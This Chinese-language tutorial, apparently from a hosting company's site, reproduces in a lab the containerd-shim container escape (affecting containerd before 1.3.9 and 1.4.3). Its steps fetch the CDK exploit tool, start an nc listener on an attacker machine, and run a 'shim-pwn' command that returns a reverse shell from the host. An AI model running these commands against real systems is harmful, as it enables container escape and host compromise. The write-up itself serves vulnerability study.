您好,登錄后才能下訂單哦!
本篇內容主要講解“Docker容器逃逸漏洞案例分析”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Docker容器逃逸漏洞案例分析”吧!
漏洞原理
Containerd 是一個控制 runC 的守護進程,提供命令行客戶端和API,用于在一個機器上管理容器。當在docker使用–net=host參數啟動,與宿主機共享net namespace時,容器中的攻擊者可以繞過訪問權限訪問 containerd 的控制API 進而導致權限提升,從而實現Docker容器逃逸。
Containerd是行業標準的容器運行時,可作為Linux和Windows的守護程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正確地暴露給主機網絡容器。填充程序的API套接字的訪問控制驗證了連接過程的有效UID為0,但沒有以其他方式限制對抽象Unix域套接字的訪問。這將允許在與填充程序相同的網絡名稱空間中運行的惡意容器(有效UID為0,但特權降低)導致新進程以提升的特權運行。
影響版本
containerd < 1.4.3
containerd < 1.3.9
實驗環境:
被攻擊機(ubuntu)ip:192.168.163.129
被攻擊機containerd版本:1.2.6
攻擊機(kali)ip:192.168.163.131
POC下載:https://github.com/Xyntax/CDK/releases/tag/0.1.6
01
被攻擊機查看docker版本,顯示Containerd Version : 1.2.6
命令:docker version
02
為了區分被攻擊機的真實環境和被攻擊機的docker環境分別在/root目錄下面創建不同文件
被攻擊機的docker環境:docker環境下面的/root目錄下面沒有文件,為了便于區分,復制一個dockerfile文件到/root目錄下
被攻擊機的真實環境:真實環境下面的/root目錄放置了一個true文件
01
被攻擊機真實環境中列出被攻擊機的容器
命令:docker ps
02
被攻擊機以共享主機網絡的方式啟動容器,并且直接進入了docker容器
通過 --net=host 作為啟動參數來運行一個容器(此處為了方便直接選擇已經存在的容器vulhub/activemq:5.11.1,但是會單獨再建立了一個容器,不會再下拉鏡像,但是兩個容器不相關)
命令:docker run -it --net=host vulhub/activemq:5.11.1 /bin/bash
03
被攻擊機真實環境中列出被攻擊機的容器列表,剛剛我們新建的容器為container id : 4ad4f620e6a5
命令:docker ps
04
在被攻擊機docker容器中執行命令,可看到抽象命名空間Unix域套接字
命令:cat /proc/net/unix|grep -a "containerd-shim"
原理備注:containerd->containerd-shim->runc 的通信模型中,containerd-shim的接口作為abstract unix socket暴露,在docker使用--net=host參數啟動、與宿主機共享net namespace時,其中的unix socket可以被容器內部訪問到,容器中攻擊者通過該socket可以通過API控制下游runc進程啟動新的惡意鏡像,并通過該鏡像逃逸。
05
為了方便查看,被攻擊機的docker環境下切換到/tmp目錄下面進行操作。下載對應的poc并且進行解壓操作。
下載poc命令:wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
解壓poc命令:tar -zxvf cdk_v0.1.6_release.tar.gz
06
kali攻擊機開啟監聽端口12345
命令:nc -lvp 12345
07
被攻擊機的docker環境中執行命令,利用poc建立起連接
命令:./cdk_linux_386 run shim-pwn 192.168.163.131 12345
08
Kali攻擊機成功獲取了被攻擊機真實環境的反彈shell(從/root目錄下的文件可看出反彈的為真實主機的shell)
備注:
本實驗存在很多注意事項(只限于本人實驗過程中的坑):
1、本來想使用vulhub的s2-032環境漏洞,利用Struts2工具遠程命令執行進行docker逃逸,發現執行命令:cat /proc/net/unix|grep -a "containerd-shim"時無法看到抽象命名空間Unix域套接字,執行poc的時候顯示Cannot find vulnerable socket(我使用的是docker exec -it 6970bdddacc6 /bin/bash進入的docker環境 )
2、注意利用--net=host新建容器的時候image名字是相同的,注意區分,否則執行的命令會進入另外一個容器
3、此利用條件是完全控制了被攻擊機的docker容器的環境下執行的,利用被攻擊機的docker環境控制被攻擊機的真實環境。
到此,相信大家對“Docker容器逃逸漏洞案例分析”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。